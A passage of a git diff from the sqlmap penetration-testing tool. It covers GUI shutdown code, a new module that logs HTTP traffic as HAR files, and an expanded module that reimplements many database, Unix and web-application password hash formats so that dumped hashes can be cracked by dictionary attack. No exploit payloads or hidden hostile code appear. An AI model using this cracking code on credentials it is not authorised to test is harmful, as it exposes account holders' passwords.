%s" % os.path.basename(path)) + except Exception as ex: + self.messagebox.showerror("Save log failed", getSafeExString(ex)) + + def _closeApplication(self): + proc = self.process + if proc is not None and proc.poll() is None: + if not self.messagebox.askyesno("Exit sqlmap GUI", "Stop the running sqlmap process and exit?"): + return + try: + proc.terminate() + try: + _waitForProcess(proc, 1.2) + if proc.poll() is None: + proc.kill() + except Exception: + proc.kill() + except Exception: + pass + self._cleanupConfigFile(self.processConfigFile) + try: + self.window.destroy() + except Exception: + pass + + +def runGui(parser): + try: + from thirdparty.six.moves import tkinter as _tkinter + from thirdparty.six.moves import tkinter_scrolledtext as _scrolledtext + from thirdparty.six.moves import tkinter_ttk as _ttk + from thirdparty.six.moves import tkinter_messagebox as _messagebox + from thirdparty.six.moves import tkinter_filedialog as _filedialog + from thirdparty.six.moves import tkinter_font as _font + except ImportError as ex: + raise SqlmapMissingDependence("missing dependence ('%s')" % getSafeExString(ex)) + + app = SqlmapGui(parser, _tkinter, _ttk, _scrolledtext, _messagebox, _filedialog, _font) + app.window.mainloop() diff --git a/lib/utils/har.py b/lib/utils/har.py new file mode 100644 index 00000000000..ebdef3bfde3 --- /dev/null +++ b/lib/utils/har.py @@ -0,0 +1,242 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import base64 +import datetime +import io +import re +import time + +from lib.core.bigarray import BigArray +from lib.core.convert import getBytes +from lib.core.convert import getText +from lib.core.settings import VERSION +from thirdparty.six.moves import BaseHTTPServer as _BaseHTTPServer +from thirdparty.six.moves import http_client as _http_client + +# Reference: https://dvcs.w3.org/hg/webperf/raw-file/tip/specs/HAR/Overview.html +# http://www.softwareishard.com/har/viewer/ + +class HTTPCollectorFactory(object): + def __init__(self, harFile=False): + self.harFile = harFile + + def create(self): + return HTTPCollector() + +class HTTPCollector(object): + def __init__(self): + self.messages = BigArray() + self.extendedArguments = {} + + def setExtendedArguments(self, arguments): + self.extendedArguments = arguments + + def collectRequest(self, requestMessage, responseMessage, startTime=None, endTime=None): + self.messages.append(RawPair(requestMessage, responseMessage, + startTime=startTime, endTime=endTime, + extendedArguments=self.extendedArguments)) + + def obtain(self): + return {"log": { + "version": "1.2", + "creator": {"name": "sqlmap", "version": VERSION}, + "entries": [pair.toEntry().toDict() for pair in self.messages], + }} + +class RawPair(object): + def __init__(self, request, response, startTime=None, endTime=None, extendedArguments=None): + self.request = getBytes(request) + self.response = getBytes(response) + self.startTime = startTime + self.endTime = endTime + self.extendedArguments = extendedArguments or {} + + def toEntry(self): + return Entry(request=Request.parse(self.request), response=Response.parse(self.response), + startTime=self.startTime, endTime=self.endTime, + extendedArguments=self.extendedArguments) + +class Entry(object): + def __init__(self, request, response, startTime, endTime, extendedArguments): + self.request = request + self.response = response + self.startTime = startTime or 0 + self.endTime = endTime or 0 + self.extendedArguments = extendedArguments + + def toDict(self): + out = { + "request": self.request.toDict(), + "response": self.response.toDict(), + "cache": {}, + "timings": { + "send": -1, + "wait": -1, + "receive": -1, + }, + "time": int(1000 * (self.endTime - self.startTime)), + "startedDateTime": "%s%s" % (datetime.datetime.fromtimestamp(self.startTime).isoformat(), time.strftime("%z")) if self.startTime else None + } + out.update(self.extendedArguments) + return out + +class Request(object): + def __init__(self, method, path, httpVersion, headers, postBody=None, raw=None, comment=None): + self.method = method + self.path = path + self.httpVersion = httpVersion + self.headers = headers or {} + self.postBody = postBody + self.comment = comment.strip() if comment else comment + self.raw = raw + + @classmethod + def parse(cls, raw): + request = HTTPRequest(raw) + return cls(method=request.command, + path=request.path, + httpVersion=request.request_version, + headers=request.headers, + postBody=request.rfile.read(), + comment=request.comment, + raw=raw) + + @property + def url(self): + host = self.headers.get("Host", "unknown") + return "http://%s%s" % (host, self.path) + + def toDict(self): + out = { + "httpVersion": self.httpVersion, + "method": self.method, + "url": self.url, + "headers": [dict(name=key.capitalize(), value=value) for key, value in self.headers.items()], + "cookies": [], + "queryString": [], + "headersSize": -1, + "bodySize": -1, + "comment": getText(self.comment), + } + + if self.postBody: + contentType = self.headers.get("Content-Type") + out["postData"] = { + "mimeType": contentType, + "text": getText(self.postBody).rstrip("\r\n"), + } + + return out + +class Response(object): + extract_status = re.compile(b'\\((\\d{3}) (.*)\\)') + + def __init__(self, httpVersion, status, statusText, headers, content, raw=None, comment=None): + self.raw = raw + self.httpVersion = httpVersion + self.status = status + self.statusText = statusText + self.headers = headers + self.content = content + self.comment = comment.strip() if comment else comment + + @classmethod + def parse(cls, raw): + altered = raw + comment = b"" + + if altered.startswith(b"HTTP response [") or altered.startswith(b"HTTP redirect ["): + stream = io.BytesIO(raw) + first_line = stream.readline() + parts = cls.extract_status.search(first_line) + status_line = "HTTP/1.0 %s %s" % (getText(parts.group(1)), getText(parts.group(2))) + remain = stream.read() + altered = getBytes(status_line) + b"\r\n" + remain + comment = first_line + + response = _http_client.HTTPResponse(FakeSocket(altered)) + response.begin() + + # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5942 + response.length = len(raw[raw.find(b"\r\n\r\n") + 4:]) + + try: + content = response.read() + except _http_client.IncompleteRead: + content = raw[raw.find(b"\r\n\r\n") + 4:].rstrip(b"\r\n") + + return cls(httpVersion="HTTP/1.1" if response.version == 11 else "HTTP/1.0", + status=response.status, + statusText=response.reason, + headers=response.msg, + content=content, + comment=comment, + raw=raw) + + def toDict(self): + content = { + "mimeType": self.headers.get("Content-Type"), + "size": len(self.content or "") + } + + # HAR text must be UTF-8: a body that does not decode (binary content such as an image, or + # text in another charset) is base64-encoded losslessly rather than mangled through a lossy + # text decode. The previous check only treated NUL/0x01 as binary, so e.g. a JPEG lacking + # those bytes was corrupted into the "text" field. + raw = self.content or b"" + if not isinstance(raw, bytes): + content["text"] = getText(raw) + else: + try: + content["text"] = getText(raw.decode("utf-8")) + except UnicodeDecodeError: + content["encoding"] = "base64" + content["text"] = getText(base64.b64encode(raw)) + + return { + "httpVersion": self.httpVersion, + "status": self.status, + "statusText": self.statusText, + "headers": [dict(name=key.capitalize(), value=value) for key, value in self.headers.items() if key.lower() != "uri"], + "cookies": [], + "content": content, + "headersSize": -1, + "bodySize": -1, + "redirectURL": "", + "comment": getText(self.comment), + } + +class FakeSocket(object): + # Original source: + # https://stackoverflow.com/questions/24728088/python-parse-http-response-string + + def __init__(self, response_text): + self._file = io.BytesIO(response_text) + + def makefile(self, *args, **kwargs): + return self._file + +class HTTPRequest(_BaseHTTPServer.BaseHTTPRequestHandler): + # Original source: + # https://stackoverflow.com/questions/4685217/parse-raw-http-headers + + def __init__(self, request_text): + self.comment = None + self.rfile = io.BytesIO(request_text) + self.raw_requestline = self.rfile.readline() + + if self.raw_requestline.startswith(b"HTTP request ["): + self.comment = self.raw_requestline + self.raw_requestline = self.rfile.readline() + + self.error_code = self.error_message = None + self.parse_request() + + def send_error(self, code, message): + self.error_code = code + self.error_message = message diff --git a/lib/utils/hash.py b/lib/utils/hash.py index 7ab48c26fa4..3386a322e2a 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -1,42 +1,50 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +from __future__ import print_function + try: from crypt import crypt -except ImportError: +except: # removed ImportError because of https://github.com/sqlmapproject/sqlmap/issues/3171 from thirdparty.fcrypt.fcrypt import crypt -_multiprocessing = None try: - import multiprocessing + from Crypto.Cipher.DES import MODE_CBC as CBC + from Crypto.Cipher.DES import new as des +except: + from thirdparty.pydes.pyDes import CBC + from thirdparty.pydes.pyDes import des - # problems on FreeBSD (Reference: http://www.eggheadcafe.com/microsoft/Python/35880259/multiprocessing-on-freebsd.aspx) - _ = multiprocessing.Queue() -except (ImportError, OSError): - pass -else: - try: - if multiprocessing.cpu_count() > 1: - _multiprocessing = multiprocessing - except NotImplementedError: - pass +try: + from hashlib import scrypt as _scrypt # not available on Python 2 (added in 3.6) +except ImportError: + _scrypt = None + +_multiprocessing = None +import base64 +import binascii import gc +import hmac +import math import os import re +import struct import tempfile import time +import zipfile from hashlib import md5 +from hashlib import pbkdf2_hmac from hashlib import sha1 from hashlib import sha224 +from hashlib import sha256 from hashlib import sha384 from hashlib import sha512 -from Queue import Queue from lib.core.common import Backend from lib.core.common import checkFile @@ -47,44 +55,63 @@ from lib.core.common import getSafeExString from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite +from lib.core.common import isZipFile from lib.core.common import normalizeUnicode +from lib.core.common import openFile from lib.core.common import paths from lib.core.common import readInput from lib.core.common import singleTimeLogMessage from lib.core.common import singleTimeWarnMessage -from lib.core.convert import hexdecode -from lib.core.convert import hexencode -from lib.core.convert import utf8encode +from lib.core.compat import xrange +from lib.core.convert import decodeBase64 +from lib.core.convert import decodeHex +from lib.core.convert import encodeHex +from lib.core.convert import getBytes +from lib.core.convert import getText +from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger +from lib.core.datatype import OrderedSet +from lib.core.decorators import cachedmethod from lib.core.enums import DBMS from lib.core.enums import HASH +from lib.core.enums import MKSTEMP_PREFIX +from lib.core.exception import SqlmapDataException from lib.core.exception import SqlmapUserQuitException from lib.core.settings import COMMON_PASSWORD_SUFFIXES +from lib.core.settings import COMMON_PASSWORDS from lib.core.settings import COMMON_USER_COLUMNS +from lib.core.settings import DEV_EMAIL_ADDRESS from lib.core.settings import DUMMY_USER_PREFIX +from lib.core.settings import HASH_ATTACK_TIME_LIMIT +from lib.core.settings import HASH_BINARY_COLUMNS_REGEX +from lib.core.settings import HASH_EMPTY_PASSWORD_MARKER from lib.core.settings import HASH_MOD_ITEM_DISPLAY from lib.core.settings import HASH_RECOGNITION_QUIT_THRESHOLD +from lib.core.settings import INVALID_UNICODE_CHAR_FORMAT from lib.core.settings import IS_WIN from lib.core.settings import ITOA64 from lib.core.settings import NULL -from lib.core.settings import UNICODE_ENCODING from lib.core.settings import ROTATING_CHARS +from lib.core.settings import UNICODE_ENCODING from lib.core.wordlist import Wordlist +from lib.utils.bcrypt import bcryptHash +from thirdparty import six from thirdparty.colorama.initialise import init as coloramainit -from thirdparty.pydes.pyDes import des -from thirdparty.pydes.pyDes import CBC +from thirdparty.six.moves import queue as _queue def mysql_passwd(password, uppercase=True): """ Reference(s): - http://csl.sublevel3.org/mysql-password-function/ + https://web.archive.org/web/20120215205312/http://csl.sublevel3.org/mysql-password-function/ >>> mysql_passwd(password='testpass', uppercase=True) '*00E247AC5F9AF26AE0194B41E1E769DEE1429A29' """ + password = getBytes(password) + retVal = "*%s" % sha1(sha1(password).digest()).hexdigest() return retVal.upper() if uppercase else retVal.lower() @@ -92,8 +119,8 @@ def mysql_passwd(password, uppercase=True): def mysql_old_passwd(password, uppercase=True): # prior to version '4.1' """ Reference(s): - http://www.sfr-fresh.com/unix/privat/tpop3d-1.5.5.tar.gz:a/tpop3d-1.5.5/password.c - http://voidnetwork.org/5ynL0rd/darkc0de/python_script/darkMySQLi.html + https://web.archive.org/web/20091205000600/http://www.sfr-fresh.com/unix/privat/tpop3d-1.5.5.tar.gz:a/tpop3d-1.5.5/password.c + https://github.com/pwnieexpress/pwn_plug_sources/blob/master/src/darkmysqli/DarkMySQLi.py >>> mysql_old_passwd(password='testpass', uppercase=True) '7DCDA0D57290B453' @@ -123,11 +150,46 @@ def postgres_passwd(password, username, uppercase=False): 'md599e5ea7a6f7c3269995cba3927fd0093' """ + username = getBytes(username) + password = getBytes(password) + retVal = "md5%s" % md5(password + username).hexdigest() return retVal.upper() if uppercase else retVal.lower() -def mssql_passwd(password, salt, uppercase=False): +def postgres_scram_passwd(password, salt, iterations, **kwargs): # since version '10' + """ + Reference(s): + https://www.rfc-editor.org/rfc/rfc5803 + + >>> postgres_scram_passwd(password='testpass', salt='c2FsdHNhbHRzYWx0', iterations=4096) + 'SCRAM-SHA-256$4096:c2FsdHNhbHRzYWx0$AzDKnszrCJPfdiFrFLbdoiqdocK4KWksHHcs3Jx7R5w=:lmWF1kOl/PbOyhpnGuBGzKyuP3XYMK6whWukBxHiHLc=' + """ + + salted = pbkdf2_hmac("sha256", getBytes(password), decodeBase64(salt, binary=True), iterations) + stored_key = sha256(hmac.new(salted, b"Client Key", sha256).digest()).digest() + server_key = hmac.new(salted, b"Server Key", sha256).digest() + + return "SCRAM-SHA-256$%d:%s$%s:%s" % (iterations, salt, getText(base64.b64encode(stored_key)), getText(base64.b64encode(server_key))) + +def mssql_new_passwd(password, salt, uppercase=False): # since version '2012' + """ + Reference(s): + http://hashcat.net/forum/thread-1474.html + https://sqlity.net/en/2460/sql-password-hash/ + + >>> mssql_new_passwd(password='testpass', salt='4086ceb6', uppercase=False) + '0x02004086ceb6eb051cdbc5bdae68ffc66c918d4977e592f6bdfc2b444a7214f71fa31c35902c5b7ae773ed5f4c50676d329120ace32ee6bc81c24f70711eb0fc6400e85ebf25' + """ + + binsalt = decodeHex(salt) + unistr = b"".join((_.encode(UNICODE_ENCODING) + b"\0") if ord(_) < 256 else _.encode(UNICODE_ENCODING) for _ in password) + + retVal = "0200%s%s" % (salt, sha512(unistr + binsalt).hexdigest()) + + return "0x%s" % (retVal.upper() if uppercase else retVal.lower()) + +def mssql_passwd(password, salt, uppercase=False): # versions '2005' and '2008' """ Reference(s): http://www.leidecker.info/projects/phrasendrescher/mssql.c @@ -137,14 +199,14 @@ def mssql_passwd(password, salt, uppercase=False): '0x01004086ceb60c90646a8ab9889fe3ed8e5c150b5460ece8425a' """ - binsalt = hexdecode(salt) - unistr = "".join(map(lambda c: ("%s\0" if ord(c) < 256 else "%s") % utf8encode(c), password)) + binsalt = decodeHex(salt) + unistr = b"".join((_.encode(UNICODE_ENCODING) + b"\0") if ord(_) < 256 else _.encode(UNICODE_ENCODING) for _ in password) retVal = "0100%s%s" % (salt, sha1(unistr + binsalt).hexdigest()) return "0x%s" % (retVal.upper() if uppercase else retVal.lower()) -def mssql_old_passwd(password, salt, uppercase=True): # prior to version '2005' +def mssql_old_passwd(password, salt, uppercase=True): # version '2000' and before """ Reference(s): www.exploit-db.com/download_pdf/15537/ @@ -155,43 +217,44 @@ def mssql_old_passwd(password, salt, uppercase=True): # prior to version '2005' '0x01004086CEB60C90646A8AB9889FE3ED8E5C150B5460ECE8425AC7BB7255C0C81D79AA5D0E93D4BB077FB9A51DA0' """ - binsalt = hexdecode(salt) - unistr = "".join(map(lambda c: ("%s\0" if ord(c) < 256 else "%s") % utf8encode(c), password)) + binsalt = decodeHex(salt) + unistr = b"".join((_.encode(UNICODE_ENCODING) + b"\0") if ord(_) < 256 else _.encode(UNICODE_ENCODING) for _ in password) retVal = "0100%s%s%s" % (salt, sha1(unistr + binsalt).hexdigest(), sha1(unistr.upper() + binsalt).hexdigest()) return "0x%s" % (retVal.upper() if uppercase else retVal.lower()) -def mssql_new_passwd(password, salt, uppercase=False): +def oracle_passwd(password, salt, uppercase=True): """ Reference(s): - http://hashcat.net/forum/thread-1474.html + https://www.evilfingers.com/tools/GSAuditor.php + http://www.notesbit.com/index.php/scripts-oracle/oracle-11g-new-password-algorithm-is-revealed-by-seclistsorg/ + http://seclists.org/bugtraq/2007/Sep/304 - >>> mssql_new_passwd(password='testpass', salt='4086ceb6', uppercase=False) - '0x02004086ceb6eb051cdbc5bdae68ffc66c918d4977e592f6bdfc2b444a7214f71fa31c35902c5b7ae773ed5f4c50676d329120ace32ee6bc81c24f70711eb0fc6400e85ebf25' + >>> oracle_passwd(password='SHAlala', salt='1B7B5F82B7235E9E182C', uppercase=True) + 'S:2BFCFDF5895014EE9BB2B9BA067B01E0389BB5711B7B5F82B7235E9E182C' """ - binsalt = hexdecode(salt) - unistr = "".join(map(lambda c: ("%s\0" if ord(c) < 256 else "%s") % utf8encode(c), password)) + binsalt = decodeHex(salt) + password = getBytes(password) - retVal = "0200%s%s" % (salt, sha512(unistr + binsalt).hexdigest()) + retVal = "s:%s%s" % (sha1(password + binsalt).hexdigest(), salt) - return "0x%s" % (retVal.upper() if uppercase else retVal.lower()) + return retVal.upper() if uppercase else retVal.lower() -def oracle_passwd(password, salt, uppercase=True): +def oracle_12c_passwd(password, salt, uppercase=False, **kwargs): # 'T:' verifier since version '12c' (PBKDF2-HMAC-SHA512 then SHA-512) """ Reference(s): - https://www.evilfingers.com/tools/GSAuditor.php - http://www.notesbit.com/index.php/scripts-oracle/oracle-11g-new-password-algorithm-is-revealed-by-seclistsorg/ - http://seclists.org/bugtraq/2007/Sep/304 + https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/changes-in-oracle-database-12c-password-hashes/ + https://hashcat.net/wiki/doku.php?id=example_hashes (mode 12300) - >>> oracle_passwd(password='SHAlala', salt='1B7B5F82B7235E9E182C', uppercase=True) - 'S:2BFCFDF5895014EE9BB2B9BA067B01E0389BB5711B7B5F82B7235E9E182C' + >>> oracle_12c_passwd(password='hashcat', salt='34141655046766111066420254008225', uppercase=True) + 'T:78281A9C0CF626BD05EFC4F41B515B61D6C4D95A250CD4A605CA0EF97168D670EBCB5673B6F5A2FB9CC4E0C0101E659C0C4E3B9B3BEDA846CD15508E88685A2334141655046766111066420254008225' """ - binsalt = hexdecode(salt) - - retVal = "s:%s%s" % (sha1(utf8encode(password) + binsalt).hexdigest(), salt) + binsalt = decodeHex(salt) + key = pbkdf2_hmac("sha512", getBytes(password), binsalt + b"AUTH_PBKDF2_SPEEDY_KEY", 4096, 64) + retVal = "t:%s%s" % (sha512(key + binsalt).hexdigest(), salt) return retVal.upper() if uppercase else retVal.lower() @@ -204,19 +267,23 @@ def oracle_old_passwd(password, username, uppercase=True): # prior to version ' 'F894844C34402B67' """ - IV, pad = "\0" * 8, "\0" - - if isinstance(username, unicode): - username = unicode.encode(username, UNICODE_ENCODING) # pyDes has issues with unicode strings + IV, pad = b"\0" * 8, b"\0" - unistr = "".join("\0%s" % c for c in (username + password).upper()) + unistr = b"".join((b"\0" + _.encode(UNICODE_ENCODING)) if ord(_) < 256 else _.encode(UNICODE_ENCODING) for _ in (username + password).upper()) - cipher = des(hexdecode("0123456789ABCDEF"), CBC, IV, pad) - encrypted = cipher.encrypt(unistr) - cipher = des(encrypted[-8:], CBC, IV, pad) - encrypted = cipher.encrypt(unistr) + if des.__module__ == "Crypto.Cipher.DES": + unistr += b"\0" * ((8 - len(unistr) % 8) & 7) + cipher = des(decodeHex("0123456789ABCDEF"), CBC, iv=IV) + encrypted = cipher.encrypt(unistr) + cipher = des(encrypted[-8:], CBC, iv=IV) + encrypted = cipher.encrypt(unistr) + else: + cipher = des(decodeHex("0123456789ABCDEF"), CBC, IV, pad) + encrypted = cipher.encrypt(unistr) + cipher = des(encrypted[-8:], CBC, IV, pad) + encrypted = cipher.encrypt(unistr) - retVal = hexencode(encrypted[-8:]) + retVal = encodeHex(encrypted[-8:], binary=False) return retVal.upper() if uppercase else retVal.lower() @@ -226,6 +293,8 @@ def md5_generic_passwd(password, uppercase=False): '179ad45c6ce2cb97cf1029e212046e81' """ + password = getBytes(password) + retVal = md5(password).hexdigest() return retVal.upper() if uppercase else retVal.lower() @@ -236,17 +305,72 @@ def sha1_generic_passwd(password, uppercase=False): '206c80413b9a96c1312cc346b7d2517b84463edd' """ + password = getBytes(password) + retVal = sha1(password).hexdigest() return retVal.upper() if uppercase else retVal.lower() +def apache_sha1_passwd(password, **kwargs): + """ + >>> apache_sha1_passwd(password='testpass') + '{SHA}IGyAQTualsExLMNGt9JRe4RGPt0=' + """ + + password = getBytes(password) + + return "{SHA}%s" % getText(base64.b64encode(sha1(password).digest())) + +def ssha_passwd(password, salt, **kwargs): + """ + >>> ssha_passwd(password='testpass', salt='salt') + '{SSHA}mU1HPTvnmoXOhE4ROHP6sWfbfoRzYWx0' + """ + + password = getBytes(password) + salt = getBytes(salt) + + return "{SSHA}%s" % getText(base64.b64encode(sha1(password + salt).digest() + salt)) + +def ssha256_passwd(password, salt, **kwargs): + """ + >>> ssha256_passwd(password='testpass', salt='salt') + '{SSHA256}hhubsLrO/Aje9F/kJrgv5ZLE40UmTrVWvI7Dt6InP99zYWx0' + """ + + password = getBytes(password) + salt = getBytes(salt) + + return "{SSHA256}%s" % getText(base64.b64encode(sha256(password + salt).digest() + salt)) + +def ssha512_passwd(password, salt, **kwargs): + """ + >>> ssha512_passwd(password='testpass', salt='salt') + '{SSHA512}mCUSLfPMhXCQOJl9WHW/QMn9v9sjq7Ht/Wk7iVau8vLOfh+PeynkGMikqIE8sStFd0khdfcCD8xZmC6UyjTxsHNhbHQ=' + """ + + password = getBytes(password) + salt = getBytes(salt) + + return "{SSHA512}%s" % getText(base64.b64encode(sha512(password + salt).digest() + salt)) + def sha224_generic_passwd(password, uppercase=False): """ >>> sha224_generic_passwd(password='testpass', uppercase=False) '648db6019764b598f75ab6b7616d2e82563a00eb1531680e19ac4c6f' """ - retVal = sha224(password).hexdigest() + retVal = sha224(getBytes(password)).hexdigest() + + return retVal.upper() if uppercase else retVal.lower() + +def sha256_generic_passwd(password, uppercase=False): + """ + >>> sha256_generic_passwd(password='testpass', uppercase=False) + '13d249f2cb4127b40cfa757866850278793f814ded3c587fe5889e889a7a9f6c' + """ + + retVal = sha256(getBytes(password)).hexdigest() return retVal.upper() if uppercase else retVal.lower() @@ -256,7 +380,7 @@ def sha384_generic_passwd(password, uppercase=False): '6823546e56adf46849343be991d4b1be9b432e42ed1b4bb90635a0e4b930e49b9ca007bc3e04bf0a4e0df6f1f82769bf' """ - retVal = sha384(password).hexdigest() + retVal = sha384(getBytes(password)).hexdigest() return retVal.upper() if uppercase else retVal.lower() @@ -266,11 +390,11 @@ def sha512_generic_passwd(password, uppercase=False): '78ddc8555bb1677ff5af75ba5fc02cb30bb592b0610277ae15055e189b77fe3fda496e5027a3d99ec85d54941adee1cc174b50438fdc21d82d0a79f85b58cf44' """ - retVal = sha512(password).hexdigest() + retVal = sha512(getBytes(password)).hexdigest() return retVal.upper() if uppercase else retVal.lower() -def crypt_generic_passwd(password, salt, uppercase=False): +def crypt_generic_passwd(password, salt, **kwargs): """ Reference(s): http://docs.python.org/library/crypt.html @@ -282,18 +406,308 @@ def crypt_generic_passwd(password, salt, uppercase=False): 'rl.3StKT.4T8M' """ - retVal = crypt(password, salt) + return getText(crypt(password, salt)) + +def unix_md5_passwd(password, salt, magic="$1$", **kwargs): + """ + Reference(s): + http://www.sabren.net/code/python/crypt/md5crypt.py + + >>> unix_md5_passwd(password='testpass', salt='aD9ZLmkp') + '$1$aD9ZLmkp$DRM5a7rRZGyuuOPOjTEk61' + """ + + def _encode64(value, count): + output = "" + + while (count - 1 >= 0): + count = count - 1 + output += ITOA64[value & 0x3f] + value = value >> 6 + + return output + + password = getBytes(password) + magic = getBytes(magic) + salt = getBytes(salt) + + salt = salt[:8] + ctx = password + magic + salt + final = md5(password + salt + password).digest() + + for pl in xrange(len(password), 0, -16): + if pl > 16: + ctx = ctx + final[:16] + else: + ctx = ctx + final[:pl] + + i = len(password) + while i: + if i & 1: + ctx = ctx + b'\x00' # if ($i & 1) { $ctx->add(pack("C", 0)); } + else: + ctx = ctx + password[0:1] + i = i >> 1 + + final = md5(ctx).digest() + + for i in xrange(1000): + ctx1 = b"" + + if i & 1: + ctx1 = ctx1 + password + else: + ctx1 = ctx1 + final[:16] + + if i % 3: + ctx1 = ctx1 + salt + + if i % 7: + ctx1 = ctx1 + password + + if i & 1: + ctx1 = ctx1 + final[:16] + else: + ctx1 = ctx1 + password + + final = md5(ctx1).digest() + + hash_ = _encode64((int(ord(final[0:1])) << 16) | (int(ord(final[6:7])) << 8) | (int(ord(final[12:13]))), 4) + hash_ = hash_ + _encode64((int(ord(final[1:2])) << 16) | (int(ord(final[7:8])) << 8) | (int(ord(final[13:14]))), 4) + hash_ = hash_ + _encode64((int(ord(final[2:3])) << 16) | (int(ord(final[8:9])) << 8) | (int(ord(final[14:15]))), 4) + hash_ = hash_ + _encode64((int(ord(final[3:4])) << 16) | (int(ord(final[9:10])) << 8) | (int(ord(final[15:16]))), 4) + hash_ = hash_ + _encode64((int(ord(final[4:5])) << 16) | (int(ord(final[10:11])) << 8) | (int(ord(final[5:6]))), 4) + hash_ = hash_ + _encode64((int(ord(final[11:12]))), 2) + + return getText(magic + salt + b'$' + getBytes(hash_)) + +# SHA-crypt (Drepper) final-permutation byte orders for the 32/64-byte digests +_SHA256_CRYPT_ORDER = ((0, 10, 20), (21, 1, 11), (12, 22, 2), (3, 13, 23), (24, 4, 14), (15, 25, 5), (6, 16, 26), (27, 7, 17), (18, 28, 8), (9, 19, 29), (31, 30)) +_SHA512_CRYPT_ORDER = ((0, 21, 42), (22, 43, 1), (44, 2, 23), (3, 24, 45), (25, 46, 4), (47, 5, 26), (6, 27, 48), (28, 49, 7), (50, 8, 29), (9, 30, 51), (31, 52, 10), (53, 11, 32), (12, 33, 54), (34, 55, 13), (56, 14, 35), (15, 36, 57), (37, 58, 16), (59, 17, 38), (18, 39, 60), (40, 61, 19), (62, 20, 41), (63,)) + +def _shaCryptDigest(password, salt, rounds, digestmod, order): + dsize = digestmod().digest_size + + B = digestmod(password + salt + password).digest() + + ctx = digestmod(password + salt) + cnt = len(password) + while cnt > dsize: + ctx.update(B) + cnt -= dsize + ctx.update(B[:cnt]) + + i = len(password) + while i: + ctx.update(B if i & 1 else password) + i >>= 1 + A = ctx.digest() + + dp = digestmod() + for _ in xrange(len(password)): + dp.update(password) + DP = dp.digest() + P = DP * (len(password) // dsize) + DP[:len(password) % dsize] + + ds = digestmod() + for _ in xrange(16 + (A[0] if isinstance(A[0], int) else ord(A[0]))): + ds.update(salt) + DS = ds.digest() + S = DS * (len(salt) // dsize) + DS[:len(salt) % dsize] + + C = A + for i in xrange(rounds): + c = digestmod() + c.update(P if i & 1 else C) + if i % 3: + c.update(S) + if i % 7: + c.update(P) + c.update(C if i & 1 else P) + C = c.digest() + + retVal = "" + for group in order: + value = 0 + for idx in group: + value = (value << 8) | (C[idx] if isinstance(C[idx], int) else ord(C[idx])) + for _ in xrange((len(group) * 8 + 5) // 6): + retVal += ITOA64[value & 0x3f] + value >>= 6 + + return retVal + +def sha2_crypt_passwd(password, salt, magic="$5$", **kwargs): + """ + Reference(s): + https://www.akkadia.org/drepper/SHA-crypt.txt + + >>> sha2_crypt_passwd(password='testpass', salt='saltstring', magic='$5$') + '$5$saltstring$rn/td51LeVLXb2RR8WT672g4QhAuobh1gQQFGFiRCT.' + >>> sha2_crypt_passwd(password='testpass', salt='saltstring', magic='$6$') + '$6$saltstring$Oxduy3vBZ8CEBR5mER96ach5GlbbBT1Oz5g1UNdPqomx5bB1.IwS1ZFoW8fpb0xvz/BCS7.LzpkW7GAFOW9yC.' + """ + + rounds, saltstr = 5000, salt + if salt.startswith("rounds="): + prefix, saltstr = salt.split('$', 1) + rounds = int(prefix[len("rounds="):]) + + order, digestmod = (_SHA256_CRYPT_ORDER, sha256) if magic == "$5$" else (_SHA512_CRYPT_ORDER, sha512) + digest = _shaCryptDigest(getBytes(password), getBytes(saltstr)[:16], rounds, digestmod, order) + + return "%s%s$%s" % (magic, salt, digest) + +def mysql_sha2_passwd(password, salt, rounds, prefix, **kwargs): # MySQL 8 'caching_sha2_password' (sha256crypt, 20-byte salt) + """ + Reference(s): + https://hashcat.net/wiki/doku.php?id=example_hashes + + >>> mysql_sha2_passwd(password='hashcat', salt=decodeHex('F9CC98CE08892924F50A213B6BC571A2C11778C5'), rounds=5000, prefix='$mysql$A$005*F9CC98CE08892924F50A213B6BC571A2C11778C5*') + '$mysql$A$005*F9CC98CE08892924F50A213B6BC571A2C11778C5*625479393559393965414D45316477456B484F41316E64484742577A2E3162785353526B7554584647562F' + """ + + digest = _shaCryptDigest(getBytes(password), bytes(salt), rounds, sha256, _SHA256_CRYPT_ORDER) + + return "%s%s" % (prefix, getText(encodeHex(getBytes(digest), binary=False)).upper()) + +def bcrypt_passwd(password, salt, magic="$2a$", cost=5, **kwargs): + """ + Reference(s): + https://www.openwall.com/crypt/ + + >>> bcrypt_passwd(password='U*U', salt='CCCCCCCCCCCCCCCCCCCCC.', magic='$2a$', cost=5) + '$2a$05$CCCCCCCCCCCCCCCCCCCCC.E5YPO9kmyuRGyh0XouQYb4YMJKvyOeW' + """ + + return "%s%02d$%s%s" % (magic, cost, salt, bcryptHash(password, salt, cost)) + +def wordpress_bcrypt_passwd(password, salt, magic="$2y$", cost=10, **kwargs): # WordPress 6.8+ 'bcrypt(base64(hmac-sha384(pass)))' + """ + Reference: https://make.wordpress.org/core/2025/02/17/wordpress-6-8-will-use-bcrypt-for-password-hashing/ + + >>> wordpress_bcrypt_passwd(password='hashcat', salt='lzlQrRRhLSjz486bA9CKHu', magic='$2y$', cost=10) + '$wp$2y$10$lzlQrRRhLSjz486bA9CKHuZRPoKz4uviT251Sq/r5OzKUBbrXwnQW' + """ + + prehashed = getText(base64.b64encode(hmac.new(b"wp-sha384", getBytes(password.strip()), sha384).digest())) + + return "$wp%s" % bcrypt_passwd(prehashed, salt, magic, cost) + +def joomla_passwd(password, salt, **kwargs): + """ + Reference: https://stackoverflow.com/a/10428239 + + >>> joomla_passwd(password='testpass', salt='6GGlnaquVXI80b3HRmSyE3K1wEFFaBIf') + 'e3d5794da74e917637332e0d21b76328:6GGlnaquVXI80b3HRmSyE3K1wEFFaBIf' + """ + + return "%s:%s" % (md5(getBytes(password) + getBytes(salt)).hexdigest(), salt) + +def django_md5_passwd(password, salt, **kwargs): + """ + Reference: https://github.com/jay0lee/GAM/blob/master/src/passlib/handlers/django.py + + >>> django_md5_passwd(password='testpass', salt='salt') + 